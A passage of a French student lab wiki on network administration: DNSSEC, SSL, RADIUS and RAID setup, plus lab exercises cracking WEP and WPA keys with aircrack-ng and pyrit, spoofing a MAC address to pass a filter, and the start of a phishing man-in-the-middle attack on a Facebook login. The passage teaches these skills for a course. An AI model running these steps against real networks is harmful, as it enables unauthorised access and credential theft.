           'phy:/dev/virtual/ima5-chimay-home,xvdb,w' ]&lt;br /&gt;
 dans vif, rajouter bridge=IMA5sc&lt;br /&gt;
&lt;br /&gt;
Enfin, une fois la VM lancée, on y ajoute le serveur apache, le serveur SSH et le serveur DNS :&lt;br /&gt;
 apt-get install apache2&lt;br /&gt;
 apt-get install openssh&lt;br /&gt;
 apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
On active la possibilité de se connecter par SSH en tant que root directement en ajoutant dans /etc/ssh/sshd_config :&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
=== Semaine 4 ===&lt;br /&gt;
&lt;br /&gt;
Nous avons commencé par louer un nom de domaine chez Gandi. Comme le thème est la bière et que nous avons choisi de nommer notre VM Chimay, nous avons, pour des raisons légales, choisi de louer le domaine michay.lol. &lt;br /&gt;
&lt;br /&gt;
==== Installation du serveur Apache et du certificat SSL ====&lt;br /&gt;
&lt;br /&gt;
Nous avons commencé par configurer Apache et y installer un certificat SSL. A cet effet, nous avons commencé par générer un fichier .csr avec OpenSSL :&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout michay.lol.key -out michay.lol.csr&lt;br /&gt;
&lt;br /&gt;
Les domaines certifiés sont ''michay.lol'' et ''www.michay.lol''.&lt;br /&gt;
&lt;br /&gt;
On fournit la .csr à Gandi qui la signe et valide et nous renvoie un .crt. On choisit de le mettre à côté de la .key, et on supprime la .csr.&lt;br /&gt;
&lt;br /&gt;
On poursuit ensuite en activant le module SSL d'Apache :&lt;br /&gt;
&lt;br /&gt;
 a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Il faut ensuite configurer Apache pour écouter sur le port 443, dans /etc/apache2/ports.conf :&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;IfModule mod_ssl.c&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
    NameVirtualHost 193.48.57.163:443&lt;br /&gt;
 &amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin, on ajoute un VirtualHost servant le contenu du dossier /var/www/www.michay.lol/ sur le port 443, dans /etc/apache2/sites-available/000-michay.lol-ssl.conf : &lt;br /&gt;
 &amp;lt;VirtualHost *:443&amp;gt;                                                  **** On veille à mettre un wildcard, sinon le certificat SSL n'est pas chargé quand l'adresse est un FQDN. ****&lt;br /&gt;
  ServerName www.michay.lol                                           **** Domaine et Alias ****&lt;br /&gt;
  ServerAlias michay.lol&lt;br /&gt;
  DocumentRoot /var/www/www.michay.lol/                               **** Dossier contenant les fichiers du site ****&lt;br /&gt;
  CustomLog /var/log/apache2/secure_access.log combined               **** Localisation des logs ****&lt;br /&gt;
  SSLEngine on                                                        **** Activation du SSL ****&lt;br /&gt;
  SSLCertificateFile /etc/ssl/certs/www.michay.lol.crt                **** Chargement du certificat signé par Gandi ****&lt;br /&gt;
  SSLCertificateKeyFile /etc/ssl/private/www.michay.lol.key           **** Clé privée correspondant au certificat combiné à la PEM ****&lt;br /&gt;
  SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem      **** Clé publique émise par Gandi ****&lt;br /&gt;
  SSLVerifyClient None&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On peut alors remarquer que la connexion sécurisée s'affiche en vert dans la barre d'adresse : le certificat est valide. La connexion est sécurisée et le site est de confiance. On remarque notamment la date de validité, ici le certificat est valide pour 1 an.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:certif1.PNG |thumb|center| 500px|&amp;lt;center&amp;gt;Certificat certifié par Gandi.&amp;lt;/center&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
On peut notamment voir toute la chaîne de certification ! &lt;br /&gt;
&lt;br /&gt;
[[Fichier:certif2.PNG |thumb|center| 500px|&amp;lt;center&amp;gt;La chaîne de certification de notre certificat.&amp;lt;/center&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
==== Mise en place du serveur DNS et de DNSSEC ====&lt;br /&gt;
&lt;br /&gt;
Toute la configuration du serveur DNS s'effectue dans le dossier /etc/bind/ :&lt;br /&gt;
&lt;br /&gt;
Nous avons crée un dossier /etc/bind/zones dans lequel nous stockons nos fichiers de zone DNS.&lt;br /&gt;
&lt;br /&gt;
zone db.michay.lol :&lt;br /&gt;
&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
  &lt;br /&gt;
 @       IN      SOA     ns.michay.lol. root.michay.lol. (&lt;br /&gt;
                     2015102001         ; Serial&lt;br /&gt;
                          86400         ; Refresh&lt;br /&gt;
                           3600         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                          86400 )       ; Negative Cache TTL&lt;br /&gt;
  &lt;br /&gt;
 $include /etc/bind/michay.lol.dnssec/michay.lol-ksk.key&lt;br /&gt;
 $include /etc/bind/michay.lol.dnssec/michay.lol-zsk.key&lt;br /&gt;
  &lt;br /&gt;
 @       IN      NS      ns.michay.lol.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns      IN      A       193.48.57.163&lt;br /&gt;
 www     IN      A       193.48.57.163&lt;br /&gt;
 god     IN      A       193.48.57.163&lt;br /&gt;
 ns      IN      AAAA    2001:660:4401:60bb:216:3eff:fe73:e535&lt;br /&gt;
 www     IN      AAAA    2001:660:4401:60bb:216:3eff:fe73:e535&lt;br /&gt;
 god     IN      AAAA    2001:660:4401:60bb:216:3eff:fe73:e535&lt;br /&gt;
 @       IN      A       193.48.57.163&lt;br /&gt;
 @       IN      AAAA    2001:660:4401:60bb:216:3eff:fe73:e535&lt;br /&gt;
&lt;br /&gt;
et la zone inverse pour la résolution des adresses IP, 57.48.193.in-addr.arpa :&lt;br /&gt;
&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
  &lt;br /&gt;
 @       IN       SOA     ns.michay.lol. root.michay.lol.     (&lt;br /&gt;
        2015102001       ;serial&lt;br /&gt;
        14400            ;refresh&lt;br /&gt;
        3600             ;retry&lt;br /&gt;
        604800           ;expire&lt;br /&gt;
        10800            ;minimum&lt;br /&gt;
 )&lt;br /&gt;
  &lt;br /&gt;
 57.48.193.in-addr.arpa.                IN      NS      ns.michay.lol.&lt;br /&gt;
 57.48.193.in-addr.arpa.                IN      NS      ns6.gandi.net.&lt;br /&gt;
  &lt;br /&gt;
 163               IN      PTR     michay.lol.&lt;br /&gt;
&lt;br /&gt;
On peut enfin ajouter les zones dans le fichier de configuration principale de bind, /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;michay.lol&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/zones/db.michay.lol.signed&amp;quot;;&lt;br /&gt;
        allow-transfer { 217.70.177.40; };&lt;br /&gt;
        notify yes;&lt;br /&gt;
 };&lt;br /&gt;
 &lt;br /&gt;
 zone &amp;quot;57.48.193.in-addr.arpa&amp;quot; IN {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/zones/57.48.193.in-addr.arpa&amp;quot;;&lt;br /&gt;
        allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Notons que par rapport à la configuration minimale des fichiers, nous avons rajouté quelques lignes, en particulier :&lt;br /&gt;
&lt;br /&gt;
* allow-transfer { 217.70.177.40; }; notify yes; : Déclaration dans la configuration de l'adresse IP du DNS secondaire chez Gandi (ns6.gandi.net)&lt;br /&gt;
*  @       IN      NS      ns6.gandi.net. et  57.48.193.in-addr.arpa.                IN      NS      ns6.gandi.net. dans les fichiers de zone pour le DNS secondaire&lt;br /&gt;
&lt;br /&gt;
On enchaîne enfin sur la sécurisation du serveur DNS avec DNSSEC, pour éviter qu'un pirate puisse par exemple modifier de manière invisible l'IP de redirection du domaine. Pour ce faire, on crée 2 clés : une Key Signing Key (KSK) et une Zone Signing Key (ZSK). On utilisera l'option -r /dev/urandom, pour utiliser la génération pseudo-aléatoire (au lieu de /dev/random par défaut), ce qui accélère grandement la génération sur notre système.&lt;br /&gt;
&lt;br /&gt;
Génération de la KSK :&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -r /dev/urandom -f KSK -n ZONE michay.lol&lt;br /&gt;
&lt;br /&gt;
Génération de la ZSK : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE michay.lol&lt;br /&gt;
&lt;br /&gt;
On renomme les 4 clés générées pour se retrouver dans notre dossier avec les fichiers suivants :&lt;br /&gt;
 root@chimay:/etc/bind/michay.lol.dnssec# ls&lt;br /&gt;
 total 24&lt;br /&gt;
 drwxr-sr-x 2 root bind 4096 Oct 20 15:10 .&lt;br /&gt;
 drwxr-sr-x 4 root bind 4096 Oct 21 18:12 ..&lt;br /&gt;
 -rw-r--r-- 1 root bind  603 Oct 20 13:48 michay.lol-ksk.key&lt;br /&gt;
 -rw------- 1 root bind 1774 Oct 20 13:48 michay.lol-ksk.private&lt;br /&gt;
 -rw-r--r-- 1 root bind  429 Oct 20 13:48 michay.lol-zsk.key&lt;br /&gt;
 -rw------- 1 root bind 1010 Oct 20 13:48 michay.lol-zsk.private&lt;br /&gt;
&lt;br /&gt;
On ajoute le chemin d'accès aux clés publiques .key dans le fichier de zone db.michay.lol, en ajoutant ces lignes après la déclaration SOA :&lt;br /&gt;
 $include /etc/bind/michay.lol.dnssec/michay.lol-ksk.key&lt;br /&gt;
 $include /etc/bind/michay.lol.dnssec/michay.lol-zsk.key&lt;br /&gt;
&lt;br /&gt;
On fournit les clés publiques KSK et ZSK à Gandi pour qu'il puisse les propager sur l'internet (Rubrique &amp;quot;Gérer DNSSEC&amp;quot;).&lt;br /&gt;
&lt;br /&gt;
Pour finir, on signe la zone avec la commande dnssec-signzone :&lt;br /&gt;
 dnssec-signzone -o michay.lol -k michay.lol.dnssec/michay.lol-ksk zones/db.michay.lol michay.lol.dnssec/michay.lol-zsk&lt;br /&gt;
&lt;br /&gt;
Cela crée un fichier db.michay.lol.signed. Il ne nous reste plus alors qu'à modifier le fichier de configuration named.conf.local pour lui dire d'utiliser db.michay.lol.signed à la place de db.michay.lol.&lt;br /&gt;
&lt;br /&gt;
Après test ([http://www.dnsstuff.com/tools#dnsReport|type=domain&amp;amp;&amp;amp;value=michay.lol juste ici]), on constate que la mise en place de DNSSEC est validée. &lt;br /&gt;
Après quelques modifications, il reste 1 &amp;quot;erreur&amp;quot; (pas de record MX défini, on pourrait supprimer l'erreur en mettant l'ip des serveurs mails Gandi), et 2 warnings (1 warning car le glue record du serveur DNS secondaire (ns6.gandi.net) ne peut pas être défini sur l'interface Gandi ; 1 warning parce que l'utilitaire considère que la valeur du refresh dans le SOA de la zone est trop haute).&lt;br /&gt;
&lt;br /&gt;
=== Piratage des bornes wifi ===&lt;br /&gt;
==== Crackage WEP ====&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé ici la célèbre distribution Kali pour effectuer le crack. On peut afficher l'état des interfaces réseau avec la commande iwconfig. Dans un premier temps, il faut passer l'interface wifi en mode monitor.&lt;br /&gt;
 airmon-ng start wlanX&lt;br /&gt;
wlanX est l'interface wifi utilisée pour l'attaque. Si un problème survient, il peut peut être réglé en exécutant la commande :&lt;br /&gt;
 airmon-ng check kill&lt;br /&gt;
&lt;br /&gt;
L'étape suivante consiste à récupérer des vecteurs d'initialisation contenus dans les datas transmises. Pour cela, on peut afficher le traffic wifi avec la commande:&lt;br /&gt;
 airodump-ng wlan5mon&lt;br /&gt;
Cette commande affiche les différents points d'accès ainsi que les clients connectés qui communiquent par Wifi. L'idée est maintenant de capturer et enregistrer les paquets du point d'accès qui nous intéresse. Dans notre cas, nous voulons cracker cracotte03. Pour cela, nous exécutons la commande :&lt;br /&gt;
 airodump-ng --bssid 00:23:5E:1E:05:42 --ch 7 --write fichier wlanXmon&lt;br /&gt;
&lt;br /&gt;
Nous laissons cette commande fonctionner durant le crack. Nous pouvons ouvrir un autre terminal. En théorie, il est nécessaire à cette étape de stimuler le traffic wifi pour récupérer des paquets. Dans le cadre de notre TP cette étape n'est pas nécessaire car le traffic est déjà très important. Nous pouvons passer directement au crackage de la clé.&lt;br /&gt;
Dans le nouveau terminal, nous entrons :&lt;br /&gt;
 aircrack-ng fichier*.cap&lt;br /&gt;
&lt;br /&gt;
Les deux commandes peuvent fonctionner en parallèle. Nous n'avons plus qu'à attendre. Au bout d'un certain temps (~48k IVs), nous obtenons la clé :&lt;br /&gt;
 KEY FOUND! [ 55:55:55:55:55:55:55:55:55:55:55:51:11 ]&lt;br /&gt;
&lt;br /&gt;
==== Crackage WPA ====&lt;br /&gt;
De la même manière que pour le crackage WEP, dans un premier temps il faut passer l'interface WiFi en mode moniteur. Vous pouvez voir la démarche à suivre dans la partie Crackage WEP au dessus. Ensuite, on récupère le traffic de l'AP ciblé dans un fichier. Le but ici consiste à récupérer des données particulières à l'encryption WPA. Cette donnée s'appelle le handshake. Le handshake est transmis lors de l'authentification d'un client sur le point d'accès. En théorie on force le passage de ce handshake en envoyant des paquets de désauthentification d'un client au point d'accès. Dans le cadre du TP le handshake est transmis en permanence. On voit alors dans la fenêtre de airmon-ng que le handshake WPA a été récupéré.&lt;br /&gt;
&lt;br /&gt;
Une fois que nous avons le handshake, nous allons cracker le mot de passe par bruteforce. Dans un premier temps nous allons générer un dictionnaire. On peut écrire un script simple pour cela, ou bien tout simplement utiliser la commande crunch :&lt;br /&gt;
 crunch 8 8 0123456789 -o dictionnaire.txt&lt;br /&gt;
&lt;br /&gt;
On peut maintenant lancer le bruteforce avec la commande :&lt;br /&gt;
 aircrack-ng file.cap -w dictionnaire.txt&lt;br /&gt;
La vitesse du bruteforce dépend des performances du processeur. Pour accélérer le processus, on peut utiliser le programme [https://code.google.com/p/pyrit/ pyrit] qui va utiliser le GPU de l'ordinateur. La commande est :&lt;br /&gt;
 pyrit -r file.cap -i dictionnaire.txt attack_passthrough&lt;br /&gt;
&lt;br /&gt;
===== Les résultats =====&lt;br /&gt;
Pour ce test, étant donné que nous connaissions la clé, nous avons généré un dictionnaire allégé pour accélérer le processus de crackage.&lt;br /&gt;
 crunch 8 8 012389 -o dictionnaire.txt&lt;br /&gt;
&lt;br /&gt;
Utilisation d'aircrack&lt;br /&gt;
 $ time aircrack-ng out-01.cap -w dic.txt&lt;br /&gt;
                                  Aircrack-ng 1.2 rc3&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
                    [00:01:36] 404340 keys tested (4197.19 k/s)&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
                            KEY FOUND! [ 12399903 ]&lt;br /&gt;
  &lt;br /&gt;
 &lt;br /&gt;
       Master Key     : 33 2B 69 DD 95 0A 5A E0 01 22 7E FF 98 DA 99 87 &lt;br /&gt;
                        40 7A CB CC 8A E5 32 9F FE 4E 5C 44 91 38 13 93 &lt;br /&gt;
 &lt;br /&gt;
       Transient Key  : 26 97 C3 D5 8D 70 A3 F0 19 3A 7D E0 BA 53 80 82 &lt;br /&gt;
                        7A 50 BF 44 DD 30 B3 9C BF 17 57 2D 9B E6 14 BE &lt;br /&gt;
                        F3 FE 81 1B 80 A9 06 7B EF 3D D8 AB 94 3B 4E D9 &lt;br /&gt;
                        BB C5 8D D9 D7 88 C7 B0 2D 79 88 ED BD 22 F9 94 &lt;br /&gt;
 &lt;br /&gt;
       EAPOL HMAC     : AC 30 13 2E E7 7A 7B EE 43 48 5D 1B 84 2C DC 8B &lt;br /&gt;
 &lt;br /&gt;
 real	1m37.298s&lt;br /&gt;
 user	12m55.440s&lt;br /&gt;
 sys	0m0.112s&lt;br /&gt;
&lt;br /&gt;
La clé est crackée en 1 minute et 40 secondes avec une vitesse de ~4200 k/s.&lt;br /&gt;
&lt;br /&gt;
Utilisation de pyrit&lt;br /&gt;
 $ time pyrit -r out-01.cap -i dic.txt attack_passthrough&lt;br /&gt;
 Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
 This code is distributed under the GNU General Public License v3+&lt;br /&gt;
 &lt;br /&gt;
 Parsing file 'out-01.cap' (1/1)...&lt;br /&gt;
 Parsed 30 packets (30 802.11-packets), got 1 AP(s)&lt;br /&gt;
 &lt;br /&gt;
 Picked AccessPoint 04:da:d2:9c:50:52 ('cracotte03') automatically.&lt;br /&gt;
 Tried 440022 PMKs so far; 24749 PMKs per second.&lt;br /&gt;
 &lt;br /&gt;
 The password is '12399903'.&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 real	0m21.305s&lt;br /&gt;
 user	2m20.100s&lt;br /&gt;
 sys	0m8.448s&lt;br /&gt;
&lt;br /&gt;
La clé est crackée en 21 secondes avec une vitesse 6 fois supérieure avec ~25800 k/s.&lt;br /&gt;
&lt;br /&gt;
==== Connexion à l'AP autorisé ====&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/network/interfaces&lt;br /&gt;
&lt;br /&gt;
On commente #auto eth0&lt;br /&gt;
&lt;br /&gt;
On configure wlan0 :&lt;br /&gt;
&lt;br /&gt;
 auto wlan0&lt;br /&gt;
 iface wlan0 inet static&lt;br /&gt;
 address 172.26.79.63&lt;br /&gt;
 netmask 255.255.240.0&lt;br /&gt;
 gateway 172.26.79.254&lt;br /&gt;
 wireless-essid troubadour&lt;br /&gt;
 wireless-mode managed&lt;br /&gt;
&lt;br /&gt;
La connexion fonctionne sans soucis, on ping la gateway 172.26.79.254 et on accède à internet, en particulier les sites IPv4.&lt;br /&gt;
&lt;br /&gt;
==== Connexion à l'AP filtré ====&lt;br /&gt;
&lt;br /&gt;
On cherche cette fois à se connecter à un AP Wifi filtré par adresses MAC sur lequel on a pas le droit car notre adresse MAC n'est pas autorisée.&lt;br /&gt;
&lt;br /&gt;
On modifie l'adresse MAC en prenant une adresse volée à l'aide du social engineering :&lt;br /&gt;
 ifconfig wlan0 down&lt;br /&gt;
 ifconfig wlan0 hw ether 00:15:af:e7:19:f3&lt;br /&gt;
 ifconfig wlan0 up&lt;br /&gt;
&lt;br /&gt;
On arrive ensuite toujours à ping la gateway et accéder à internet sans soucis !&lt;br /&gt;
&lt;br /&gt;
=== Configuration des Points d'Accès WiFi ===&lt;br /&gt;
&lt;br /&gt;
Sur le commutateur on configure un port pour qu'il soit dans le VLAN 1 en mode trunk. On y connectera par la suite la borne d'accès WiFi. Le routeur sera configuré pour donner l'accès des autres VLAN au VLAN 1.&lt;br /&gt;
&lt;br /&gt;
On peut dorénavant se connecter à la la borne en console pour la configurer. Un simple telnet sur le port par défaut suffit. On expliquera la démarche pour la configuration de l'AP dans la suite.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, nous avons configuré un serveur &amp;lt;code&amp;gt;FreeRadius&amp;lt;/code&amp;gt; pour sécuriser le réseau WiFi par WPA2-EAP. Les fichiers de configuration du serveur se trouvent dans le dossier &amp;lt;code&amp;gt;/etc/freeradius/&amp;lt;/code&amp;gt;.&lt;br /&gt;
On rajoute un user dans le fichier users, qui servira pour s'authentifier sur le réseau WiFi. Il suffit de rajouter une ligne dans le fichier :&lt;br /&gt;
&lt;br /&gt;
 myusername Cleartext-password := &amp;quot;myclearpassword&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On rajoute aussi dans le fichier clients.conf un nouveau client, de la manière suivante :&lt;br /&gt;
&lt;br /&gt;
 client E304 {&lt;br /&gt;
         ipaddr = 10.10.10.1&lt;br /&gt;
         secret = anotherpassword&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 client VLAN13 {&lt;br /&gt;
         ipaddr = 172.20.13.0&lt;br /&gt;
         netmask = 24&lt;br /&gt;
         secret = anotherpassword&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Il est important d'ajouter aussi un client pour la salle E306.&lt;br /&gt;
&lt;br /&gt;
On configure aussi le fichier eap.conf pour utiliser le PEAP-MSCHAPv2. Il faut remplacer les valeurs des différents champs dans le fichier :&lt;br /&gt;
   eap {&lt;br /&gt;
     default_eap_type = peap&lt;br /&gt;
     peap {&lt;br /&gt;
       default_eap_type = mschapv2&lt;br /&gt;
     }&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
On peut dorénavant configurer la borne WiFi. Pour cela on a utilisé les commandes de l'énoncé de TP, en modifiant les différentes valeurs. Ces commandes sont à exécuter en mode enable. Les identifiants par défaut sont Cisco/Cisco :&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
 aaa new-model&lt;br /&gt;
 aaa authentication login eap_chimay group radius_chimay&lt;br /&gt;
 radius-server host 193.48.57.163 auth-port 1812 acct-port 1813 key anotherpassword&lt;br /&gt;
 aaa group server radius radius_chimay&lt;br /&gt;
 server 193.48.57.163 auth-port 1812 acct-port 1813&lt;br /&gt;
 &lt;br /&gt;
 exit&lt;br /&gt;
 &lt;br /&gt;
 dot11 ssid SSID_CHIMAY&lt;br /&gt;
 vlan 13&lt;br /&gt;
 authentication open eap eap_chimay&lt;br /&gt;
 authentication network-eap eap_chimay&lt;br /&gt;
 authentication key-management wpa&lt;br /&gt;
 mbssid guest-mode&lt;br /&gt;
 &lt;br /&gt;
 exit&lt;br /&gt;
 &lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 encryption vlan 13 mode ciphers aes-ccm tkip&lt;br /&gt;
 ssid SSID_CHIMAY&lt;br /&gt;
 &lt;br /&gt;
 exit&lt;br /&gt;
 &lt;br /&gt;
 interface Dot11Radio0.13&lt;br /&gt;
 encapsulation dot1Q 13&lt;br /&gt;
 no ip route-cache&lt;br /&gt;
 bridge-group 13&lt;br /&gt;
 bridge-group 13 subscriber-loop-control&lt;br /&gt;
 bridge-group 13 spanning-disabled&lt;br /&gt;
 bridge-group 13 block-unknown-source&lt;br /&gt;
 no bridge-group 13 source-learning&lt;br /&gt;
 no bridge-group 13 unicast-flooding &lt;br /&gt;
 &lt;br /&gt;
 exit&lt;br /&gt;
 &lt;br /&gt;
 interface GigabitEthernet0.13&lt;br /&gt;
 encapsulation dot1Q 13&lt;br /&gt;
 bridge-group 13&lt;br /&gt;
 &lt;br /&gt;
 exit&lt;br /&gt;
  &lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peut maintenant configurer l'accès sur un eeepc, dans le fichier /etc/network/interfaces :&lt;br /&gt;
 auto wlan0&lt;br /&gt;
 iface wlan0 inet static&lt;br /&gt;
  address 172.20.13.12&lt;br /&gt;
  netmask 255.255.255.0&lt;br /&gt;
  gateway 172.20.13.254&lt;br /&gt;
  wpa-ssid SSID_CHIMAY&lt;br /&gt;
  wpa-key-mgmt WPA-EAP&lt;br /&gt;
  wpa-identity myusername&lt;br /&gt;
  wpa-password mycleanpassword&lt;br /&gt;
&lt;br /&gt;
Nous avons dû retirer le package network-manager car il semblerait qu'il reconfigure en fufu les interfaces réseau après la configuration manuelle. Sans lui, nous avons plus de contrôle sur la configuration.&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation des données ===&lt;br /&gt;
&lt;br /&gt;
Nous avons sécurisé les données. Pour se faire, nous avons commencé par créer 3 partitions LVM de 1 Go :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L 1G -n /dev/virtual/ima5-chimay-raid1 -v&lt;br /&gt;
 lvcreate -L 1G -n /dev/virtual/ima5-chimay-raid2 -v&lt;br /&gt;
 lvcreate -L 1G -n /dev/virtual/ima5-chimay-raid3 -v&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous les avons ajoutées à la configuration de la VM, dans /etc/xen/chimay.cfg :&lt;br /&gt;
 'phy:/dev/virtual/ima5-chimay-raid1,xvdd,w',&lt;br /&gt;
 'phy:/dev/virtual/ima5-chimay-raid2,xvde,w',&lt;br /&gt;
 'phy:/dev/virtual/ima5-chimay-raid3,xvdf,w',&lt;br /&gt;
&lt;br /&gt;
Après redémarrage, la VM démarre sans soucis. On s'y connecte, et on installe le paquet mdadm pour faire le RAID5 : &lt;br /&gt;
 apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
On crée le volume md0 : &lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdd /dev/xvde /dev/xvdf&lt;br /&gt;
&lt;br /&gt;
On vérifie que le volume est bien monté : &lt;br /&gt;
 fdisk -l&lt;br /&gt;
Renvoie :&lt;br /&gt;
 Disk /dev/md0: 2 GiB, 2145386496 bytes, 4190208 sectors&lt;br /&gt;
 Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
 Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
 I/O size (minimum/optimal): 524288 bytes / 1048576 bytes&lt;br /&gt;
&lt;br /&gt;
Un mdam --detail nous montre plus de détails sur la partition :&lt;br /&gt;
 root@chimay:~# mdadm --detail /dev/md0&lt;br /&gt;
 /dev/md0:&lt;br /&gt;
        Version : 1.2&lt;br /&gt;
  Creation Time : Mon Nov 30 15:29:04 2015&lt;br /&gt;
     Raid Level : raid5&lt;br /&gt;
     Array Size : 2095104 (2046.34 MiB 2145.39 MB)&lt;br /&gt;
  Used Dev Size : 1047552 (1023.17 MiB 1072.69 MB)&lt;br /&gt;
   Raid Devices : 3&lt;br /&gt;
  Total Devices : 3&lt;br /&gt;
    Persistence : Superblock is persistent&lt;br /&gt;
     Update Time : Mon Nov 30 15:29:04 2015&lt;br /&gt;
           State : clean&lt;br /&gt;
  Active Devices : 3&lt;br /&gt;
 Working Devices : 3&lt;br /&gt;
  Failed Devices : 0&lt;br /&gt;
   Spare Devices : 0&lt;br /&gt;
         Layout : left-symmetric&lt;br /&gt;
     Chunk Size : 512K&lt;br /&gt;
           Name : chimay:0  (local to host chimay)&lt;br /&gt;
           UUID : 72cc8ab9:4063c466:b04894e4:2b38e399&lt;br /&gt;
         Events : 0&lt;br /&gt;
    Number   Major   Minor   RaidDevice State&lt;br /&gt;
       0     202       48        0      active sync   /dev/xvdd&lt;br /&gt;
       1     202       64        1      active sync   /dev/xvde&lt;br /&gt;
       2     202       80        2      active sync   /dev/xvdf&lt;br /&gt;
&lt;br /&gt;
=== Configuration d'un PCBX ===&lt;br /&gt;
==== Installation et mise en place d'un serveur DHCP ====&lt;br /&gt;
&lt;br /&gt;
On commence par installer le serveur DHCP sur l'eeePC :&lt;br /&gt;
 apt-get install isc-dhcp-server&lt;br /&gt;
&lt;br /&gt;
On modifie ensuite la configuration dans ''/etc/dhcp/dhcpd.conf'', et on y ajoute cette définition du subnet :&lt;br /&gt;
 subnet 172.20.13.0 netmask 255.255.255.0 {&lt;br /&gt;
   range 172.20.13.10 172.20.13.50;&lt;br /&gt;
   option routers 172.20.13.254;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
On oublie pas de changer aussi :&lt;br /&gt;
 option domain-name &amp;quot;michay.lol&amp;quot;&lt;br /&gt;
 option name-server &amp;quot;ns.michay.lol&amp;quot;,&amp;quot;ns6.gandi.net&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Comme par magie, le téléphone sous Android 6.0 peut alors bien se connecter au point d'accès SSID_CHIMAY et acquiert son IP automatiquement :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:wifi.PNG |thumb|center| 200px|&amp;lt;center&amp;gt;Adresse IP obtenue via DHCP&amp;lt;/center&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
==== Installation d'un serveur VoIP ====&lt;br /&gt;
&lt;br /&gt;
On installe d'abord Asterisk :&lt;br /&gt;
 apt-get install asterisk&lt;br /&gt;
&lt;br /&gt;
Puis on ajoute dans /etc/asterisk/users.conf :&lt;br /&gt;
   [general]&lt;br /&gt;
   hasvoicemail = yes&lt;br /&gt;
   hassip = yes&lt;br /&gt;
   hasiax = yes&lt;br /&gt;
   callwaiting = yes&lt;br /&gt;
   callwaitingcallerid = yes&lt;br /&gt;
   transfer = yes&lt;br /&gt;
   canpark = yes&lt;br /&gt;
   cancallforward = yes&lt;br /&gt;
   callreturn = yes&lt;br /&gt;
   callgroup = 1&lt;br /&gt;
   pickupgroup = 1&lt;br /&gt;
   nat = yes&lt;br /&gt;
  &lt;br /&gt;
   [1001]&lt;br /&gt;
   type=peer&lt;br /&gt;
   host=dynamic&lt;br /&gt;
   dtmfmode=rfc2833&lt;br /&gt;
   disallow=all&lt;br /&gt;
   allow=ulaw&lt;br /&gt;
   fullname = booboon&lt;br /&gt;
   username = booboon&lt;br /&gt;
   secret=md5suchprotection&lt;br /&gt;
   context = work&lt;br /&gt;
  &lt;br /&gt;
   [1002]&lt;br /&gt;
   type=peer&lt;br /&gt;
   host=dynamic&lt;br /&gt;
   dtmfmode=rfc2833&lt;br /&gt;
   disallow=all&lt;br /&gt;
   allow=ulaw&lt;br /&gt;
   fullname = lordswag&lt;br /&gt;
   username = lordswag&lt;br /&gt;
   secret=md5muchsecure&lt;br /&gt;
   context = work&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/asterisk/extensions.conf :&lt;br /&gt;
   [work]&lt;br /&gt;
   exten =&amp;gt; _6XXX,1,Dial(SIP/${EXTEN},20)&lt;br /&gt;
   exten =&amp;gt; _6XXX,2,Hangup()&lt;br /&gt;
&lt;br /&gt;
Nous ne sommes pas parvenu à créer un compte dans l'application CSipClient, le serveur répond mais dit &amp;quot;forbidden&amp;quot;, avec le bon mot de passe... Very Cool.&lt;br /&gt;
&lt;br /&gt;
=== Attaque Man in the Middle ===&lt;br /&gt;
Pour ce faire, on utilisera Squid combiné à SquidGuard pour rediriger la page de login Facebook vers une page modifée, sans que la cible ne s'en rende compte.&lt;br /&gt;
Le hack se fait de la manière suivante :&lt;br /&gt;
